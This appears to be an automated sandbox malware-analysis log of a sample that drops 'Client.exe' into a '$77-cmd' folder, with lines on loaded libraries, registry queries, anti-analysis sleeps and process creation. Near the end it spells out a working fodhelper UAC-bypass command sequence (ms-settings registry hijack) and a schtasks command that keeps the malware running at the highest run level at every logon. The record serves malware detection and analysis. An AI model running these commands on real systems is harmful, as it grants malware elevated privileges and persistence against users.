Source: C:\Windows\System32\fodhelper.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: version.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\fodhelper.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\fodhelper.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Jump to behavior

Source: Dd5DwDCHJD.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Dd5DwDCHJD.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Dd5DwDCHJD.exe

Static file information: File size 3268096 > 1048576

Source: Dd5DwDCHJD.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x31ce00

Source: Dd5DwDCHJD.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9B88D7F3 push eax; iretd		3_2_00007FFD9B88D871
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Code function: 3_2_00007FFD9BAF336E push eax; ret		3_2_00007FFD9BAF340C

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

File created: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	File opened: C:\Users\user\Desktop\Dd5DwDCHJD.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	File opened: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	File opened: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Memory allocated: 1700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Memory allocated: 1B350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Memory allocated: 1870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Memory allocated: 1B440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Memory allocated: 1790000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Memory allocated: 1B230000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Window / User API: threadDelayed 8736			Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Window / User API: threadDelayed 1117			Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe TID: 7380	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe TID: 7348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe TID: 8008	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe TID: 8012	Thread sleep count: 8736 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe TID: 8012	Thread sleep count: 1117 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe TID: 7680	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe TID: 7652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 7872	Thread sleep count: 37 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Dd5DwDCHJD.exe, 00000000.00000002.1729416327.00000000036B2000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000A.00000002.1726001426.0000000003556000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: l2hGFS
Source: Client.exe, 00000003.00000002.4128730464.000000001C0AD000.00000004.00000020.00020000.00000000.sdmp, Client.exe, 00000003.00000002.4128730464.000000001BF90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Dd5DwDCHJD.exe, 00000000.00000002.1727919840.0000000001590000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat" "	Jump to behavior
Source: C:\Users\user\Desktop\Dd5DwDCHJD.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\fodhelper.exe fodhelper.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat"	Jump to behavior
Source: C:\Windows\System32\fodhelper.exe	Process created: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Install.exe" /f
